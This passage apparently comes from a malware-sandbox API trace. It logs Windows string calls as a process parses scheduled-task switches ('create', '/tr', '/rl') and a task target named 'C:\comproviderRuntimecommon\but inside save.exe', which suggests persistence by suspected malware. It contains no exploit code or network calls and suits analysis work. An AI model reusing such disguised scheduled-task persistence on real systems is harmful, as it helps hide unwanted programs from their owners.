_BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|s|") returned 3 [0157.485] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.485] lstrlenW (lpString="|s|") returned 3 [0157.485] lstrlenW (lpString="|tr|") returned 4 [0157.485] SetLastError (dwErrCode=0x490) [0157.485] lstrlenW (lpString="u") returned 1 [0157.485] lstrlenW (lpString="u") returned 1 [0157.485] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] lstrlenW (lpString="tr") returned 2 [0157.485] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.485] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|u|") returned 3 [0157.485] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.486] lstrlenW (lpString="|u|") returned 3 [0157.486] lstrlenW (lpString="|tr|") returned 4 [0157.486] SetLastError (dwErrCode=0x490) [0157.486] lstrlenW (lpString="p") returned 1 [0157.486] lstrlenW (lpString="p") returned 1 [0157.486] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.486] lstrlenW (lpString="tr") returned 2 [0157.486] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.486] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|p|") returned 3 [0157.486] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.486] lstrlenW (lpString="|p|") returned 3 [0157.486] lstrlenW (lpString="|tr|") returned 4 [0157.486] SetLastError (dwErrCode=0x490) [0157.486] lstrlenW (lpString="ru") returned 2 [0157.486] lstrlenW (lpString="ru") returned 2 [0157.486] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.486] lstrlenW (lpString="tr") returned 2 [0157.486] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.486] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ru|") returned 4 [0157.486] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.486] lstrlenW (lpString="|ru|") returned 4 [0157.486] lstrlenW (lpString="|tr|") returned 4 [0157.486] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0157.486] SetLastError (dwErrCode=0x490) [0157.486] lstrlenW (lpString="rp") returned 2 [0157.486] lstrlenW (lpString="rp") returned 2 [0157.486] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] lstrlenW (lpString="tr") returned 2 [0157.487] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rp|") returned 4 [0157.487] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.487] lstrlenW (lpString="|rp|") returned 4 [0157.487] lstrlenW (lpString="|tr|") returned 4 [0157.487] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0157.487] SetLastError (dwErrCode=0x490) [0157.487] lstrlenW (lpString="sc") returned 2 [0157.487] lstrlenW (lpString="sc") returned 2 [0157.487] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] lstrlenW (lpString="tr") returned 2 [0157.487] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.487] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.487] lstrlenW (lpString="|sc|") returned 4 [0157.487] lstrlenW (lpString="|tr|") returned 4 [0157.487] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0157.487] SetLastError (dwErrCode=0x490) [0157.487] lstrlenW (lpString="mo") returned 2 [0157.487] lstrlenW (lpString="mo") returned 2 [0157.487] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] lstrlenW (lpString="tr") returned 2 [0157.487] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.487] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|mo|") returned 4 [0157.488] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.488] lstrlenW (lpString="|mo|") returned 4 [0157.488] lstrlenW (lpString="|tr|") returned 4 [0157.488] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0157.488] SetLastError (dwErrCode=0x490) [0157.488] lstrlenW (lpString="d") returned 1 [0157.488] lstrlenW (lpString="d") returned 1 [0157.488] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.488] lstrlenW (lpString="tr") returned 2 [0157.488] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.488] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|d|") returned 3 [0157.488] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.488] lstrlenW (lpString="|d|") returned 3 [0157.488] lstrlenW (lpString="|tr|") returned 4 [0157.488] SetLastError (dwErrCode=0x490) [0157.488] lstrlenW (lpString="m") returned 1 [0157.488] lstrlenW (lpString="m") returned 1 [0157.488] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.488] lstrlenW (lpString="tr") returned 2 [0157.488] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.488] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|m|") returned 3 [0157.488] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.488] lstrlenW (lpString="|m|") returned 3 [0157.488] lstrlenW (lpString="|tr|") returned 4 [0157.488] SetLastError (dwErrCode=0x490) [0157.488] lstrlenW (lpString="i") returned 1 [0157.488] lstrlenW (lpString="i") returned 1 [0157.489] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] lstrlenW (lpString="tr") returned 2 [0157.489] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|i|") returned 3 [0157.489] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.489] lstrlenW (lpString="|i|") returned 3 [0157.489] lstrlenW (lpString="|tr|") returned 4 [0157.489] SetLastError (dwErrCode=0x490) [0157.489] lstrlenW (lpString="tn") returned 2 [0157.489] lstrlenW (lpString="tn") returned 2 [0157.489] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] lstrlenW (lpString="tr") returned 2 [0157.489] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.489] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.489] lstrlenW (lpString="|tn|") returned 4 [0157.489] lstrlenW (lpString="|tr|") returned 4 [0157.489] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0157.489] SetLastError (dwErrCode=0x490) [0157.489] lstrlenW (lpString="tr") returned 2 [0157.489] lstrlenW (lpString="tr") returned 2 [0157.489] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] lstrlenW (lpString="tr") returned 2 [0157.489] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.489] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.489] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.490] lstrlenW (lpString="|tr|") returned 4 [0157.490] lstrlenW (lpString="|tr|") returned 4 [0157.490] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0157.531] SetLastError (dwErrCode=0x0) [0157.531] SetLastError (dwErrCode=0x0) [0157.531] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.531] lstrlenW (lpString="-/") returned 2 [0157.531] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.531] SetLastError (dwErrCode=0x490) [0157.531] SetLastError (dwErrCode=0x490) [0157.531] SetLastError (dwErrCode=0x0) [0157.531] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.531] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0157.531] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.531] _memicmp (_Buf1=0x26c2f0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.531] _memicmp (_Buf1=0x26c330, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.531] SetLastError (dwErrCode=0x7a) [0157.531] SetLastError (dwErrCode=0x0) [0157.531] SetLastError (dwErrCode=0x0) [0157.531] lstrlenW (lpString="'C") returned 2 [0157.532] lstrlenW (lpString="-/") returned 2 [0157.532] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.532] SetLastError (dwErrCode=0x490) [0157.532] SetLastError (dwErrCode=0x490) [0157.532] SetLastError (dwErrCode=0x0) [0157.532] _memicmp (_Buf1=0x26d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.532] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.532] GetProcessHeap () returned 0x250000 [0157.532] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560) returned 1 [0157.532] GetProcessHeap () returned 0x250000 [0157.532] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26d560, Size=0x64) returned 0x26c3c0 [0157.532] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.532] lstrlenW (lpString=" \x09") returned 2 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0157.532] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0157.533] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0157.533] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0157.533] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.534] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.534] GetLastError () returned 0x0 [0157.534] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.534] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.534] SetLastError (dwErrCode=0x0) [0157.534] SetLastError (dwErrCode=0x0) [0157.534] lstrlenW (lpString="/rl") returned 3 [0157.534] lstrlenW (lpString="-/") returned 2 [0157.534] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.534] lstrlenW (lpString="create") returned 6 [0157.534] lstrlenW (lpString="create") returned 6 [0157.534] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.534] lstrlenW (lpString="rl") returned 2 [0157.534] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.534] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.534] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.534] lstrlenW (lpString="|create|") returned 8 [0157.534] lstrlenW (lpString="|rl|") returned 4 [0157.534] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0157.534] SetLastError (dwErrCode=0x490) [0157.534] lstrlenW (lpString="?") returned 1 [0157.534] lstrlenW (lpString="?") returned 1 [0157.534] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] lstrlenW (lpString="rl") returned 2 [0157.535] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|?|") returned 3 [0157.535] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.535] lstrlenW (lpString="|?|") returned 3 [0157.535] lstrlenW (lpString="|rl|") returned 4 [0157.535] SetLastError (dwErrCode=0x490) [0157.535] lstrlenW (lpString="s") returned 1 [0157.535] lstrlenW (lpString="s") returned 1 [0157.535] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] lstrlenW (lpString="rl") returned 2 [0157.535] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|s|") returned 3 [0157.535] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.535] lstrlenW (lpString="|s|") returned 3 [0157.535] lstrlenW (lpString="|rl|") returned 4 [0157.535] SetLastError (dwErrCode=0x490) [0157.535] lstrlenW (lpString="u") returned 1 [0157.535] lstrlenW (lpString="u") returned 1 [0157.535] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] lstrlenW (lpString="rl") returned 2 [0157.535] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.535] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|u|") returned 3 [0157.535] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.535] lstrlenW (lpString="|u|") returned 3 [0157.535] lstrlenW (lpString="|rl|") returned 4 [0157.536] SetLastError (dwErrCode=0x490) [0157.536] lstrlenW (lpString="p") returned 1 [0157.536] lstrlenW (lpString="p") returned 1 [0157.536] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.536] lstrlenW (lpString="rl") returned 2 [0157.536] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.536] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|p|") returned 3 [0157.536] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.536] lstrlenW (lpString="|p|") returned 3 [0157.536] lstrlenW (lpString="|rl|") returned 4 [0157.536] SetLastError (dwErrCode=0x490) [0157.536] lstrlenW (lpString="ru") returned 2 [0157.536] lstrlenW (lpString="ru") returned 2 [0157.536] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.536] lstrlenW (lpString="rl") returned 2 [0157.536] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.536] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ru|") returned 4 [0157.536] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.536] lstrlenW (lpString="|ru|") returned 4 [0157.536] lstrlenW (lpString="|rl|") returned 4 [0157.536] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0157.536] SetLastError (dwErrCode=0x490) [0157.536] lstrlenW (lpString="rp") returned 2 [0157.536] lstrlenW (lpString="rp") returned 2 [0157.536] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.546] lstrlenW (lpString="rl") returned 2 [0157.546] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.546] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rp|") returned 4 [0157.546] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.546] lstrlenW (lpString="|rp|") returned 4 [0157.546] lstrlenW (lpString="|rl|") returned 4 [0157.546] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0157.546] SetLastError (dwErrCode=0x490) [0157.546] lstrlenW (lpString="sc") returned 2 [0157.546] lstrlenW (lpString="sc") returned 2 [0157.546] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.546] lstrlenW (lpString="rl") returned 2 [0157.546] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.546] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.546] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.546] lstrlenW (lpString="|sc|") returned 4 [0157.546] lstrlenW (lpString="|rl|") returned 4 [0157.546] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0157.546] SetLastError (dwErrCode=0x490) [0157.547] lstrlenW (lpString="mo") returned 2 [0157.547] lstrlenW (lpString="mo") returned 2 [0157.547] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.547] lstrlenW (lpString="rl") returned 2 [0157.547] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.547] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|mo|") returned 4 [0157.547] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.547] lstrlenW (lpString="|mo|") returned 4 [0157.547] lstrlenW (lpString="|rl|") returned 4 [0157.547] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0157.547] SetLastError (dwErrCode=0x490) [0157.547] lstrlenW (lpString="d") returned 1 [0157.547] lstrlenW (lpString="d") returned 1 [0157.547] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.547] lstrlenW (lpString="rl") returned 2 [0157.547] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.547] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|d|") returned 3 [0157.547] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.547] lstrlenW (lpString="|d|") returned 3 [0157.547] lstrlenW (lpString="|rl|") returned 4 [0157.547] SetLastError (dwErrCode=0x490) [0157.547] lstrlenW (lpString="m") returned 1 [0157.547] lstrlenW (lpString="m") returned 1 [0157.547] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.547] lstrlenW (lpString="rl") returned 2 [0157.547] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.548] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|m|") returned 3 [0157.548] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.548] lstrlenW (lpString="|m|") returned 3 [0157.548] lstrlenW (lpString="|rl|") returned 4 [0157.548] SetLastError (dwErrCode=0x490) [0157.548] lstrlenW (lpString="i") returned 1 [0157.548] lstrlenW (lpString="i") returned 1 [0157.548] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.548] lstrlenW (lpString="rl") returned 2 [0157.548] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.548] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|i|") returned 3 [0157.548] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.548] lstrlenW (lpString="|i|") returned 3 [0157.548] lstrlenW (lpString="|rl|") returned 4 [0157.548] SetLastError (dwErrCode=0x490) [0157.548] lstrlenW (lpString="tn") returned 2 [0157.548] lstrlenW (lpString="tn") returned 2 [0157.548] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.548] lstrlenW (lpString="rl") returned 2 [0157.548] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.548] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.548] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.548] lstrlenW (lpString="|tn|") returned 4 [0157.548] lstrlenW (lpString="|rl|") returned 4 [0157.548] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0157.548] SetLastError (dwErrCode=0x490) [0157.549] lstrlenW (lpString="tr") returned 2 [0157.549] lstrlenW (lpString="tr") returned 2 [0157.549] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.549] lstrlenW (lpString="rl") returned 2 [0157.549] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.549] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.549] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.549] lstrlenW (lpString="|tr|") returned 4 [0157.549] lstrlenW (lpString="|rl|") returned 4 [0157.549] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0157.549] SetLastError (dwErrCode=0x490) [0157.549] lstrlenW (lpString="st") returned 2 [0157.549] lstrlenW (lpString="st") returned 2 [0157.549] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.549] lstrlenW (lpString="rl") returned 2 [0157.549] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.549] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|st|") returned 4 [0157.549] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.549] lstrlenW (lpString="|st|") returned 4 [0157.549] lstrlenW (lpString="|rl|") returned 4 [0157.549] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0157.549] SetLastError (dwErrCode=0x490) [0157.549] lstrlenW (lpString="sd") returned 2 [0157.549] lstrlenW (lpString="sd") returned 2 [0157.549] _memicmp 